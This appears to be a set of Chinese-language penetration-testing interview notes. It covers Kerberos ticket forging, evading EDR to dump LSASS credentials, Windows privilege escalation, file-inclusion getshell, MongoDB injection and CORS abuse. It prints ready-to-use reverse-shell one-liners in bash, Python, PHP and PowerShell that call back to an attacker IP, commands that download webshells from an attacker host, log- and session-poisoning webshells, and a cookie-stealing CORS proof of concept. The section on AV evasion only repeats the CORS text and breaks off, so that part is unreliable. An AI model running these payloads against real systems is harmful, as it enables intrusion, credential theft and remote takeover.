  • 相对容易:相比于黄金票据需要域管理员权限来获取 krbtgt 哈希,白银票据只需要获取特定服务的本地管理员权限,在某些场景下这更容易实现
特性 黄金票据(Golden Ticket) 白银票据(Silver Ticket)
伪造对象 TGT(Ticket Granting Ticket) ST(Service Ticket)
所需哈希 krbtgt 账户哈希 服务账户哈希(如 HTTP、MSSQL、Cifs 等)
攻击目标 整个域内所有资源和服务 特定服务(如文件共享、数据库等)
所需权限 域管理员权限 目标服务所在机器的本地管理员权限
影响范围 全域控制,可进行任意横向移动,并创建任何权限的用户 单点控制,只能访问特定服务,横向移动受限
攻击隐蔽性 攻击流量与正常 TGT 流量类似,难以被检测 攻击流量不经过 DC,更加隐蔽

读取不到 hash 怎么绕过

方法一:绕过 EDR/AV 和 LSAProtection

这是最常见的挑战。大多数攻击者会使用 Mimikatz,但它常常被安全软件检测到

  • 使用定制或混淆的工具:
    • Mimikatz 的变种: 寻找或自己编译 Mimikatz 的混淆版本(如P-CodeMinidump)。这些版本可能没有被 EDR/AV 的签名库收录
    • 不依赖 Mimikatz 的替代工具: 尝试使用其他开源工具,如 LaZagneDonPAPI。这些工具采用不同的技术来提取凭据,可能绕过某些防御
  • 使用内存转储(Memory Dumping)
    • procdump.exe 这是微软官方的工具,可以合法地转储进程内存。你可以使用它来转储 LSASS 进程,然后在另一台安全的机器上用 Mimikatz 的 sekurlsa::minidump 模块离线分析
    • 注意: 尽管 procdump 是官方工具,但许多 EDR/AV 已经对其进行了监控。你需要小心使用
    • 手动转储: 也可以使用 Powershell 或 C# 编写代码,直接调用 MiniDumpWriteDump API 来转储 LSASS 进程。这比使用现成的工具更隐蔽
  • 进程注入与内存补丁
    • 通过注入到合法的进程(如svchost.exe)中,然后从该进程内部转储 LSASS 内存,可以绕过一些基于进程行为的监控
    • PPL(Protected Process Light) 绕过:如果目标启用了 PPL,传统的注入方式会失败。可以尝试利用一些已知漏洞或驱动程序来提升权限并绕过 PPL。例如,使用一些内核驱动加载工具,在内核模式下操作

方法二:不直接读取哈希,而是获取明文密码

如果哈希实在无法获取,可以考虑获取用户的明文密码

  • 键盘记录(Keylogging):
    • 部署一个键盘记录程序(如 PowerSploit 中的 Get-Keystrokes),记录用户在登录或输入密码时的按键
    • 优点: 可以获取明文密码,且绕过了哈希的保护机制
    • 缺点: 实时性差,需要等待用户输入密码,并且容易被杀毒软件检测
  • Hooking
    • 通过在登录或凭据输入过程中,Hook 相关的 WinAPI 函数(如 LsaLogonUser),可以截取到明文密码或哈希
    • 优点: 实时性高,可以在用户登录时立即获取凭据
    • 缺点: 实现复杂,需要编写专门的代码,且容易被 EDR/AV 拦截

方法三:利用其他机制获取凭据

除了 LSASS,凭据还可能存储在其他地方

  • 注册表(Registry)

    • 某些应用程序(如 Putty、TeamViewer 等)可能会将连接密码以加密或明文形式存储在注册表中。可以使用 LaZagne 或其他专用工具扫描注册表
    • 例如:HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 下可能会存储自动登录的明文密码
  • 服务凭据(Service Credentials)

    • 许多服务使用服务账户运行,这些账户的凭据通常存储在服务配置中。如果权限足够,可以枚举这些服务并尝试读取其配置
  • 浏览器、邮件客户端和 FTP 客户端

    • 浏览器(如 Chrome、Firefox)、邮件客户端(如 Outlook)和 FTP 客户端(如 FileZilla)通常会缓存用户的明文密码
    • 可以使用 Mimikatzdpapi:: 模块或专门的工具来解密这些存储的凭据

    现在有一台 Windows Server 2008 如何提权

第一步:信息收集

在尝试任何攻击之前,必须先了解你所处的环境。这一步是成功的关键,可以帮助你快速定位可行的提权路径

  1. 检查当前权限:
    • whoami /priv:查看当前账户拥有的特权。某些特权(如 SeDebugPrivilege)可以直接用于窃取哈希或执行其他高权限操作
  2. 系统信息和补丁:
    • systeminfo:查看系统版本、架构和安装的补丁列表。这对于判断系统是否对已知的内核漏洞免疫至关重要
    • wmic qfe get Caption,Description,HotFixID,InstalledOn:更详细地查看已安装的补丁
  3. 服务和进程:
    • tasklist /svc:查看哪些服务正在运行,以及它们以什么权限运行
    • Get-Service (PowerShell):查找以 LocalSystem 或其他高权限账户运行的服务
  4. 目录和文件权限:
    • icacls C:\:检查关键目录(如 C:\Program Files)的写入权限。如果低权限用户可以写入,则可能存在 DLL 劫持可执行文件替换的漏洞
  5. 注册表权限:
    • reg query HKLM:检查注册表键的权限,尤其是那些与服务或自动运行程序相关的键
  6. 计划任务:
    • schtasks /query:查看是否有以高权限账户运行的计划任务,且低权限用户可以修改其执行文件或参数

第二步:利用常见的配置错误(首选)

这些方法通常不需要复杂的漏洞利用,成功率高且隐蔽性强

1. 不安全的服务的可执行文件路径

如果一个服务的路径没有用引号括起来,并且路径中包含空格,Windows 会尝试从每个空格分隔的目录中寻找可执行文件

  • 示例: 服务路径为 C:\Program Files\My Service\service.exe
  • Windows 搜索顺序:
    1. C:\Program.exe
    2. C:\Program Files\My.exe
    3. C:\Program Files\My Service\service.exe
  • 利用方式: 如果低权限用户对 C:\Program FilesC:\ 目录有写入权限,就可以在该目录中创建一个恶意的可执行文件(如 My.exe)。当服务重启时,它会首先执行这个恶意程序,从而获得服务的权限

2. 服务配置权限不当

如果低权限用户可以修改某个高权限服务的配置,例如更改其二进制文件路径,就可以实现提权

  • 检查方法: sc qc [ServiceName]
  • 利用方式: 使用 sc config 命令修改服务的 binpath 指向你的恶意程序,然后重启服务

3. 注册表键 AlwaysInstallElevated

如果以下两个注册表键都为 1,那么任何用户都可以以 System 权限运行 MSI 安装文件

  • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • 利用方式: 创建一个恶意的 MSI 安装包(可以使用 msfvenom 生成),然后双击运行,它会以 System 权限执行你的代码

第三步:利用内核漏洞

如果配置错误的方法都不可行,可以尝试利用 Windows Server 2008 上已知的内核漏洞

  • MS11-046 (AFD.sys): 这是一个非常经典的漏洞,允许低权限用户提升至 SYSTEM 权限
  • MS14-066 (sctp.sys): 另一个著名的权限提升漏洞,通常被用于获得 SYSTEM 权限
  • MS15-051 (win32k.sys): 同样是一个广泛使用的权限提升漏洞

重要提示: 在尝试内核漏洞之前,请务必使用 systeminfo 检查是否已打相关补丁。贸然执行漏洞利用程序可能会导致系统蓝屏(BSOD)

第四步:凭据窃取与重用

如果以上方法都失败了,或者你已经获得了管理员权限,下一步就是获取更多凭据,为横向移动做准备

1. LSASS 进程内存转储

Windows 在 lsass.exe 进程中缓存了用户的明文密码、NTLM 哈希和 Kerberos 票据

  • 利用方式: 使用 Mimikatz 或其他工具,在拥有 SeDebugPrivilege 特权时,可以从 lsass.exe 进程中直接抓取凭据
    • sekurlsa::logonpasswords:抓取所有已登录用户的明文密码和哈希
    • lsass.exe 内存转储:如果无法直接运行 Mimikatz,可以先使用 procdump.exe 转储 lsass.exe 进程内存,然后在另一台机器上离线分析

2. SAM 和 SYSTEM 注册表文件

SAM 文件包含了本地用户的密码哈希,而 SYSTEM 文件包含了用于解密 SAM 的密钥

  • 利用方式: 使用 reg save 命令将这两个文件导出,然后使用工具(如 samdump2impacketsecretsdump.py)离线解密哈希

提权时选择可读写目录,为何尽量不用带空格的目录

1. 命令行解析问题

在 Linux、Windows 等操作系统的命令行环境中,空格被视为命令、参数和选项的分隔符

例如,你想将一个文件写入 /tmp/my file/ 目录:

  • 错误的做法echo "hello" > /tmp/my file/test.txt
    • 命令行会将其解释为:
      • 命令echo "hello"
      • 参数>
      • 参数/tmp/my
      • 参数file/test.txt
    • 显然,这会导致命令执行失败,因为 /tmp/my 目录不存在
  • 正确的做法:为了让命令行将带空格的路径看作一个整体,需要用引号将路径包裹起来
    • echo "hello" > "/tmp/my file/test.txt"
    • echo "hello" > /tmp/"my file"/test.txt
    • echo "hello" > /tmp/my\ file/test.txt

2. 脚本和编程语言的兼容性

在进行提权时,我们通常不是手动输入命令,而是通过 Webshell 或漏洞执行脚本来完成操作。这些脚本(如 PHP、Python、Bash)在执行系统命令时,如果对带有空格的路径处理不当,就会导致提权失败

  • Bash 脚本:如果脚本中的变量没有用引号包裹,那么当变量值包含空格时,会引发解析错误
    • 错误示例path=$webshell_path; cp /tmp/shell $path/shell.php
    • 正确示例path="$webshell_path"; cp /tmp/shell "$path/shell.php"
  • PHP system()exec() 函数
    • 错误示例system('cp /tmp/shell ' . $webshell_dir . '/shell.php');
      • 如果 $webshell_dir 的值是 /var/www/my site,PHP 会执行 cp /tmp/shell /var/www/my site/shell.php,这会失败
    • 正确示例system('cp /tmp/shell "' . $webshell_dir . '/shell.php"');
      • 加上双引号后,命令会正确执行

3. 避免不必要的复杂性

在渗透测试的实战环境中,时间非常宝贵。为了快速、稳定地完成提权,我们会尽量选择最可靠的方法

  • 绕过引号限制:在某些情况下,Webshell 或命令执行漏洞可能对引号("')进行了过滤或转义,这会使得正确处理带有空格的路径变得更加困难
  • 减少出错概率:选择一个不带空格的目录,例如 /tmp/var/tmp/dev/shm 等,可以省去考虑引号包裹的麻烦,确保命令能够一次性成功执行,提高效率

对于不能直接上传而只能通过命令行执行的 Shell 怎么办

1. 反弹 Shell

这是最常用、最有效的方法。它的原理是让目标服务器主动连接到你的攻击机,而不是让你去连接它。这能绕过目标服务器的防火墙和出站连接限制,同时给你一个完整的交互式 shell

基本步骤:

  1. 在你的攻击机上设置监听: 你需要一个网络监听器来等待来自目标服务器的连接。常用的工具有 netcat (nc) 或 socat

    1
    2
    # 使用 netcat 监听 4444 端口
    nc -lvnp 4444

    l 表示监听,v 表示显示详细信息,n 表示不进行DNS解析,p 表示指定端口

  2. 在目标服务器上执行反弹 shell 命令: 根据目标服务器的操作系统和已有的工具,执行不同的命令

    • Bash

      1
      bash -i >& /dev/tcp/你的IP/4444 0>&1
    • Python

      1
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<你的IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    • PHP

      1
      php -r '$sock=fsockopen("<你的IP>",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
  3. 获取交互式 shell: 当目标服务器执行该命令后,它会连接到你的监听端口。你的 netcat 窗口会显示连接成功的消息,并且你将获得一个可执行命令的 shell

2. 通过 Web 请求传输文件

如果目标服务器允许出站请求,并且你可以控制这些请求(比如通过 curlwget),那么你可以让目标服务器从你的攻击机上下载文件

  1. 在你的攻击机上创建一个简单的 HTTP 服务器: 将你的 shell 文件(如一个 PHP Webshell)放在一个目录下,并用 Python 启动一个简单的 Web 服务器

    1
    2
    # 在你的 shell 文件所在目录下执行
    python3 -m http.server 80
  2. 在目标服务器上执行下载命令: 利用命令注入点,让目标服务器下载文件

    1
    2
    3
    4
    5
    # 使用 wget
    wget http://你的IP/shell.php -O /var/www/html/shell.php

    # 或者使用 curl
    curl http://你的IP/shell.php > /var/www/html/shell.php

    注意:你需要知道一个可写的、Web 服务器可以访问的目录(如 /var/www/html//tmp/)。如果 /tmp 目录可以写入,你可以先下载到 /tmp,再想办法移动到 Web 目录

3. 利用内置工具

有些服务器环境自带一些可以创建 shell 的工具

  • VBScript / PowerShell (Windows): Windows 系统的 PowerShell 拥有强大的网络功能。你可以使用 PowerShell 来实现反弹 shell

    1
    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<你的IP>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();"

    由于命令很长,你可以将其编码为 Base64 来避免空格和特殊字符的问题

4. 利用 echo 或其他写入命令

如果目标服务器的出站连接被严格限制,你不能使用反弹 shell 或下载文件,但可以执行命令行。你可以通过 echo 命令,一行一行地将 shell 代码写入到一个文件中

基本步骤:

  1. 将你的 shell 代码进行编码: 为了避免引号和特殊字符问题,你可以将代码进行 Base64 编码。

  2. 使用 echo 和 Base64 解码命令

    1
    2
    # 假设你的 shell 代码经过 Base64 编码后为 "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4="
    echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > /var/www/html/shell.php

    如果服务器不支持 base64 -d,你可能需要用其他方法,比如分多行写入,或者利用 python -c 'print ...' 来写入文件


psexec 和 wmic 区别

PsExec

PsExec 是 Sysinternals 套件中的一个工具,主要用于在远程计算机上 执行 进程。它通过 SMB 协议在远程系统上创建一个临时的服务(名为 psexecsvc)来运行你指定的命令,然后将命令的输出返回给你

核心特点

  • 功能:在远程机器上以高权限(通常是 SYSTEM)执行命令或启动程序
  • 工作原理
    1. 连接到远程机器的 Admin$ 共享
    2. 将 PsExec 客户端文件复制到 Admin$\System32\psexec.exe(或类似路径)
    3. 通过服务管理器(SCM)创建一个临时服务来执行命令
    4. 命令执行完毕后,删除服务和客户端文件
  • 典型用途
    • 在远程服务器上启动交互式命令提示符 (PsExec \\remote-pc cmd)
    • 以 SYSTEM 权限运行程序 (PsExec -s \\remote-pc <program.exe>)
    • 执行远程脚本或批处理文件。

优点与缺点

  • 优点
    • 远程执行能力强:能以高权限运行任何可执行文件或命令
    • 支持交互式会话:可以打开一个远程命令提示符,就像在本地操作一样
    • 不依赖 PowerShell 或 WMI 的特定配置
  • 缺点
    • 依赖文件共享:需要 Admin$ 共享可用,且端口 445 必须开放
    • 可能被安全软件检测:其工作方式(文件复制、创建服务)与一些恶意软件类似,可能被杀毒软件或 EDR 标记
    • 网络流量:在执行过程中会产生一些网络流量

WMIC

WMIC (Windows Management Instrumentation Command-line) 是一个命令行工具,用于与 WMI 框架进行交互。WMI 是一个内置于 Windows 的管理接口,提供了查询和管理几乎所有系统信息的标准化方法。WMIC 让你能够从命令行执行这些查询和操作

核心特点

  • 功能:查询系统信息、执行管理任务。它不是用于直接执行远程可执行文件,而是通过 WMI 接口来管理系统
  • 工作原理
    1. 通过 DCOM 协议连接到远程机器的 WMI 服务
    2. 向 WMI 存储库发送查询或命令请求
    3. WMI 服务在远程机器上执行请求,并返回结果
  • 典型用途
    • 查询系统信息:例如,查看远程机器的进程列表 (wmic /node:"remote-pc" process list brief)、服务状态、硬件信息、网络配置等
    • 执行管理任务:例如,终止远程进程 (wmic /node:"remote-pc" process where name="calc.exe" call terminate)、启动或停止服务、修改注册表项等

优点与缺点

  • 优点
    • 系统内置:是 Windows 的一部分,不需要额外下载或分发文件
    • 强大的查询能力:能够通过 WHERE 语句进行复杂的过滤,查询各种系统对象
    • 隐蔽性好:工作在 WMI 协议层,不会像 PsExec 那样创建临时服务或复制文件,因此更难被检测
  • 缺点
    • 命令复杂:语法相对复杂,需要熟悉 WMI 的类和别名
    • 功能限制:虽然可以执行任务,但不能像 PsExec 那样灵活地运行任意的本地程序
    • 依赖:需要远程 WMI 服务开启且 DCOM 端口(通常是 135/TCP)可用
特性 PsExec WMIC
用途 远程执行命令和程序 远程查询和管理系统信息
原理 远程创建服务,运行可执行文件 通过 WMI 接口发送管理命令
协议 SMB (TCP 445) DCOM (TCP 135)
优势 远程执行能力强、支持交互式会话 系统内置、强大的查询过滤、隐蔽性好
缺点 需要文件共享、可能被检测、会产生文件 语法复杂、功能限于 WMI 框架内的操作
场景 当你需要在远程机器上启动一个程序时 当你需要查询远程机器的状态或执行管理任务时

17- 文件包含漏洞

常用的协议有哪些

本地文件包含(LFI)协议

本地文件包含通常利用的是 Web 应用对用户输入的文件路径缺乏严格过滤,导致攻击者能够包含服务器上的任意文件

1. file:// 协议

这是最基础、最常见的文件包含协议。它允许你直接引用本地文件系统中的文件

  • 用途:读取服务器上的任意文件,如 /etc/passwd(Linux)或 C:\Windows\win.ini(Windows)
  • 示例http://example.com/vuln.php?file=file:///etc/passwd
  • 特点:如果 Web 应用没有对路径进行充分过滤,攻击者可以利用 ../ 来遍历目录,从而访问到 Web 根目录以外的敏感文件

远程文件包含(RFI)协议

远程文件包含通常出现在 PHP 中,当 allow_url_includeallow_url_fopen 配置都开启时,Web 应用可以包含远程服务器上的文件

1. http://https:// 协议

这是最常见的远程文件包含方式,攻击者可以利用它来包含一个位于自己服务器上的恶意文件,从而在目标服务器上执行代码

  • 用途:在 Web 服务器上执行远程主机上的脚本,通常用于获取Webshell
  • 示例http://example.com/vuln.php?file=http://attacker.com/shell.txt
  • 特点shell.txt文件内容通常是一段Webshell代码,如<?php system($_GET['cmd']); ?>

攻击者利用的伪协议(Pseudo Protocols)

这些协议不是为了包含文件而设计的,但攻击者可以利用它们来读取文件内容、执行代码或绕过 WAF

1. php://filter

这是一个非常强大的伪协议,它允许你对包含的文件内容进行过滤操作,比如编码或解码。最常见的用法是读取 PHP 文件的源码,因为源码中可能包含数据库凭证等敏感信息

  • 用途:读取本地文件的源码,绕过 Web 应用对 php 文件执行的限制
  • 示例http://example.com/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.php
  • 特点:通过 Base64 编码,即使服务器对 .php 文件进行了执行处理,我们也能以明文形式获取其源码

2. php://input

这个协议可以让我们直接从 POST 请求的请求体中读取数据,并作为文件内容进行执行。当文件包含漏洞的参数无法直接在 URL 中写入恶意代码时,这是一个非常有用的绕过方法

  • 用途:通过 POST 请求发送恶意代码并执行
  • 示例:在 POST 请求中,发送数据<?php system($_GET['cmd']); ?>,同时访问http://example.com/vuln.php?file=php://input
  • 特点:常用于绕过 WAF 对 URL 中特定字符串的检测

3. data://

这个协议可以让我们在 URL 中直接嵌入数据,并作为文件内容执行。这在某些情况下可以绕过一些过滤规则,因为它不依赖于外部文件

  • 用途:在 URL 中直接执行恶意代码
  • 示例http://example.com/vuln.php?file=data://text/plain,<?php%20system('id');%20?>
  • 特点:如果 Web 应用对 URL 中的特殊字符进行过滤,这种方式可能会失效

4. phar://

这个协议常用于反序列化攻击,尤其是在 PHAR 归档文件中。攻击者可以创建一个恶意的 PHAR 文件,并在其中嵌入恶意代码或反序列化对象,当服务器通过文件包含加载这个文件时,就会触发反序列化操作

  • 用途:利用 PHP 反序列化漏洞,执行任意命令
  • 示例http://example.com/vuln.php?file=phar:///path/to/archive.phar
  • 特点:这种攻击方式通常需要配合一个反序列化漏洞才能成功

怎么 GetShell

本地文件包含 (LFI) Getshell

LFI 的 Getshell 方法通常需要结合其他漏洞或技巧。攻击者无法直接包含一个远程 Webshell,但可以通过多种方式将恶意代码注入到服务器上的某个文件中,然后利用LFI漏洞包含该文件,从而执行恶意代码

1. 日志文件 Getshell

这是 LFI Getshell 最经典且常用的方法之一。许多 Web 服务器(如Apache、Nginx)会将访问请求记录在日志文件中(如access.logerror.log

利用步骤:

  1. 注入恶意代码:通过一个特制的 HTTP 请求,将恶意代码(如 PHP Webshell 代码)注入到服务器的日志文件中。例如,在 URL 中加入或在 User-Agent 字段中写入 Webshell 代码:

    1
    <?php eval($_GET['cmd']);?>

    一个完整的 HTTP 请求可能看起来像这样:

    1
    2
    3
    GET /?page=test.php HTTP/1.1
    Host: example.com
    User-Agent: <?php system('whoami');?>

    这样,服务器的 access.log 文件中就会记录下这段恶意代码

  2. 包含日志文件:利用 LFI 漏洞,通过文件包含参数(如 pagefile),包含日志文件

    1
    http://example.com/index.php?file=../../../../var/log/apache2/access.log

    当服务器执行这个请求时,它会把日志文件的内容当作 PHP 代码来执行,从而执行了我们注入的system('whoami'); 命令

  3. 获取 Webshell:如果注入的是一个完整的 Webshell,现在就可以通过参数来执行任意命令了

    1
    http://example.com/index.php?file=../../../../var/log/apache2/access.log&cmd=ls -al

2. Session 文件 Getshell

某些 Web 应用程序会将用户的 Session 信息保存在服务器的 /tmp/ 目录下的文件中,文件命名通常为 sess_PHPSESSID。如果攻击者可以控制 Session 数据,就能通过 LFI 包含该文件 Getshell

利用步骤:

  1. 设置 Session 值:通过 $_SESSION 变量,将恶意代码注入到 Session 中。这通常需要先找到一个可以控制Session 值的参数,例如在登录或注册时

    1
    $_SESSION['username'] = "<?php eval($_POST['cmd']);?>";
  2. 获取 Session 文件路径:通常 Session 文件的命名是 sess_ 加上 Session ID。可以通过浏览器 Cookies 中的PHPSESSID 来获取

    1
    http://example.com/index.php?file=../../../../tmp/sess_f32921a92a5436687e9544485304a9d7
  3. 执行恶意代码:当 LFI 漏洞包含该 Session 文件时,恶意代码被执行

3. /proc/self/environ Getshell

在 Linux 系统中,/proc/self/environ 文件存储了当前进程的环境变量。攻击者可以通过设置 User-Agent 等环境变量,将恶意代码注入到该文件中,然后利用 LFI 漏洞包含它

利用步骤:

  1. 设置 User-Agent:发送一个带有恶意 User-Agent 的请求

    1
    2
    3
    GET /index.php?page=test.php HTTP/1.1
    Host: example.com
    User-Agent: <?php system('whoami');?>
  2. 包含环境变量文件

    1
    http://example.com/index.php?file=../../../../proc/self/environ
  3. 执行恶意代码:成功包含后,恶意代码即被执行

远程文件包含 (RFI) Getshell

RFI 通常比 LFI 更容易利用,因为它允许攻击者直接从自己的服务器上包含并执行恶意文件

利用步骤:

  1. 制作 Webshell 文件:在攻击者自己的服务器上创建一个 Webshell 文件,例如 shell.txt,内容如下:

    1
    <?php eval($_POST['cmd']);?>

    为了绕过一些过滤,文件名可以不使用 .php 后缀,例如 shell.txtshell.jpg

  2. 启动 HTTP 服务:在攻击者的服务器上(如Kali Linux),使用 Python 启动一个简单的 HTTP 服务来托管shell.txt

    1
    python3 -m http.server 80
  3. 远程文件包含:利用 RFI 漏洞,将 URL 指向攻击者的服务器,包含 shell.txt

    1
    http://example.com/index.php?file=http://attacker-ip/shell.txt

    注意:为了防止服务器对 URL 进行过滤,有时需要使用编码、伪协议(如 data://)等技巧

  4. 连接 Webshell:如果成功,shell.txt 中的 Webshell 代码已经被执行。现在就可以使用工具(如 Postman、Burp Suite)或直接在 URL 中 POST 数据来执行命令了

    1
    2
    3
    4
    5
    POST /index.php?file=http://attacker-ip/shell.txt HTTP/1.1
    Host: example.com
    Content-Type: application/x-www-form-urlencoded

    cmd=ls -al

18- MongoDB注入

MongoDB 注入方式

MongoDB 注入的原理

MongoDB 注入的核心原理是利用MongoDB 查询中的特殊操作符或特性,来绕过应用程序的认证或执行未授权的数据库操作。当应用程序将用户输入直接拼接或用于构建查询对象时,攻击者可以通过构造恶意的输入来改变查询的逻辑

例如,一个典型的登录查询可能看起来像这样:

1
2
3
4
db.collection.findOne({
username: request.body.username,
password: request.body.password
});

如果攻击者在username字段输入{"$ne": null},在password字段输入{"$ne": null},那么查询就会变成:

1
2
3
4
db.collection.findOne({
username: {"$ne": null},
password: {"$ne": null}
});

这个查询的含义是“查找 usernamepassword 都不为空的任何文档”。这就可以绕过密码验证,成功以第一个匹配的用户身份登录

常见的 MongoDB 注入方式

1. 逻辑操作符注入

这是最常见、最基础的注入方式。攻击者利用 MongoDB 的逻辑操作符,如$ne(不等于)、$gt(大于)、$lt(小于)等来改变查询的逻辑

认证绕过

利用 $ne 操作符,可以构造登录认证绕过

  • 用户名'{"$ne": null}'
  • 密码'{"$ne": null}'

在某些情况下,也可以使用布尔类型来绕过:

  • 用户名:`’admin’
  • 密码'{"$gt": ""}' (即密码大于空字符串的任何值)

这种方法简单且有效,因为它利用了数据库自身的查询特性

2. 数组操作符注入

MongoDB 的 $in 操作符可以用来查询某个字段是否在给定的数组中。攻击者可以利用这个特性进行注入

例如,一个查询可能用来检查用户的角色:

1
2
3
4
db.users.findOne({
username: request.body.username,
role: "admin"
});

攻击者可以尝试在 username 字段输入一个数组,来绕过这个检查:

  • 用户名'{"$in": ["admin", "guest"]}'
  • 密码'password'

如果应用程序没有正确处理,这个查询可能被解析为: db.users.findOne({ username: { "$in": ["admin", "guest"] }, role: "admin" });

这可以用来枚举用户或绕过某些基于角色的访问控制

3. 正则表达式注入

MongoDB 支持正则表达式查询,这使得攻击者可以利用它来进行更复杂的攻击,比如盲注

假设存在一个查询,用来查找匹配用户名的文档:

1
db.users.find({ username: request.body.username });

攻击者可以构造一个正则表达式,通过布尔盲注的方式来猜测数据

  • $regex:用于匹配正则表达式
  • $where:这个操作符允许在查询中使用 JavaScript 代码,是最高危的注入点之一

盲注步骤

  1. 测试是否存在注入点
    • 输入{"$where": "this.username == 'admin'"},如果返回管理员信息,则说明存在注入
  2. 布尔盲注猜解数据
    • 构造一个查询来猜解管理员的密码长度
      • {"$where": "this.username == 'admin' && this.password.length > 5"}
    • 如果响应正常(例如返回管理员信息),则说明密码长度大于 5
    • 否则,说明小于等于 5
  3. 逐位猜解密码
    • 构造一个正则表达式来猜解密码的每一个字符
      • {"$where": "this.username == 'admin' && this.password.match(/^a/)"}
    • 这个查询会检查管理员密码是否以 a 开头
    • 通过二分法逐位猜测,攻击者可以逐步猜解出完整的密码

4. eval注入

在早期版本中,MongoDB 的 db.eval() 命令允许在服务器端执行 JavaScript 代码。这在功能上非常强大,但同时也是一个巨大的安全隐患,因为攻击者可以直接执行任意代码,包括操作系统命令

19- CORS 系列

CORS 利用方式

1. 简单 CORS 配置不当

这是最常见、最基本的 CORS 漏洞,通常由于管理员或开发者为了方便,而设置了过于宽松的白名单

a. Access-Control-Allow-Origin: \*

这是最糟糕的配置。* 意味着服务器允许任何来源的域名进行跨域请求。攻击者可以利用这个漏洞,在自己的恶意网站上,发送带有受害者身份信息的请求到目标网站

  • 利用方式:

    • 攻击者在自己的恶意网站 evil.com 上,构造一个 JavaScript 请求
    • 该请求的目标是 target.com,并且带上了受害者的 cookie
    • 由于 target.com 允许所有来源,浏览器会发送请求,攻击者就可以获取到受害者的敏感信息,例如个人资料、账户余额等
  • PoC (Proof of Concept) 代码:

    1
    2
    3
    4
    5
    6
    7
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true; // 携带 cookie
    xhr.open('GET', 'https://target.com/api/user-info', true);
    xhr.onload = function () {
    console.log(xhr.responseText); // 获取受害者数据
    };
    xhr.send();

b. Access-Control-Allow-Origin 的动态配置

有些网站会根据请求头的 Origin 字段,动态地将其回显到响应头中

  • 原理:
    • 攻击者发送一个请求,其 Origin 头部被设置为 https://evil.com
    • 如果服务器响应头中包含 Access-Control-Allow-Origin: https://evil.com,则说明存在漏洞
  • 利用方式:
    • * 的情况类似,攻击者在 evil.com 上发起请求
    • 浏览器发送的请求头中包含 Origin: https://evil.com
    • 服务器将 Origin 的值原样返回,浏览器认为这是一个合法的跨域请求,从而执行
  • PoC 代码:
    • 使用 Burp Suite 等工具,修改请求头的 Origin 字段,查看服务器的响应。

2. 高级 CORS 漏洞利用

除了基本的配置错误,还有一些更复杂的场景,利用了协议或 URL 解析的差异

a. 协议绕过

某些网站可能只对 httphttps 协议的 Origin 做了严格限制,而忽略了其他协议

  • 利用方式:
    • 攻击者可以尝试将 Origin 设置为非标准的协议,例如 http:// 变为 httphttps:// 变为 https、或者尝试 file://
    • 如果服务器的正则匹配不严谨,就可能被绕过

b. 子域名或路径绕过

一些网站的白名单只允许特定的子域名,但正则匹配存在缺陷

  • 利用方式:
    • 假设白名单只允许 https://*.target.com,攻击者可以尝试构造 https://evil.com.target.comhttps://target.com.evil.com
    • 如果正则匹配不严谨,这些域名也可能被认为是合法的

c. 端口绕过

CORS 规范中,端口也是同源策略的一部分。但有些服务器在白名单中忽略了端口号

  • 利用方式:
    • 如果 target.com 允许 Origin: https://target.com,攻击者可以尝试使用 https://target.com:8080 作为 Origin
    • 如果服务器的白名单没有严格检查端口,这个请求可能会被通过

20- 远控免杀系列

CORS 利用方式

1. 简单 CORS 配置不当

这是最常见、最基本的 CORS 漏洞,通常由于管理员或开发者为了方便,而设置了过于宽松的白名单

a. Access-Control-Allow-Origin: \*

这是最糟糕的配置。* 意味着服务器允许任何来源的域名进行跨域请求。攻击者可以利用这个漏洞,在自己的恶意网站上,发送带有受害者身份信息的请求到目标网站

  • 利用方式:

    • 攻击者在自己的恶意网站 evil.com 上,构造一个 JavaScript 请求
    • 该请求的目标是 target.com,并且带上了受害者的 cookie
    • 由于 target.com 允许所有来源,浏览器会发送请求,攻击者就可以获取到受害者的敏感信息,例如个人资料、账户余额等
  • PoC (Proof of Concept) 代码:

    1
    2
    3
    4
    5
    6
    7
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true; // 携带 cookie
    xhr.open('GET', 'https://target.com/api/user-info', true);
    xhr.onload = function () {
    console.log(xhr.responseText); // 获取受害者数据
    };
    xhr.send();

b. Access-Control-Allow-Origin 的动态配置

有些网站会根据请求头的 Origin 字段,动态地将其回显到响应头中

  • 原理:
    • 攻击者发送一个请求,其 Origin 头部被设置为 https://evil.com
    • 如果服务器响应头中包含 Access-Control-Allow-Origin: https://evil.com,则说明存在漏洞
  • 利用方式:
    • * 的情况类似,攻击者在 evil.com 上发起请求
    • 浏览器发送的请求头中包含 Origin: https://evil.com
    • 服务器将 Origin 的值原样返回,浏览器认为这是一个合法的跨域请求,从而执行
  • PoC 代码:
    • 使用 Burp Suite 等工具,修改请求头的 Origin 字段,查看服务器的响应。

2. 高级 CORS 漏洞利用

除了基本的配置错误,还有一些更复杂的场景,利用了协议或 URL 解析的差异

a. 协议绕过

某些网站可能只对 httphttps 协议的 Origin 做了严格限制,而忽略了其他协议

  • 利用方式:
    • 攻击者可以尝试将 Origin 设置为非标准的协议,例如 http:// 变为 httphttps:// 变为 https、或者尝试 file://
    • 如果服务器的正则匹配不严谨,就可能被绕过

b. 子域名或路径绕过

